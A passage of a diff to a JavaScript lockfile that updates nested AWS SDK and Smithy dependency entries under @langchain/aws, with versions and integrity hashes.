+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9675,6 +9031,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9685,12 +9043,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9705,14 +9067,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9723,16 +9085,26 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9827,10 +9199,18 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
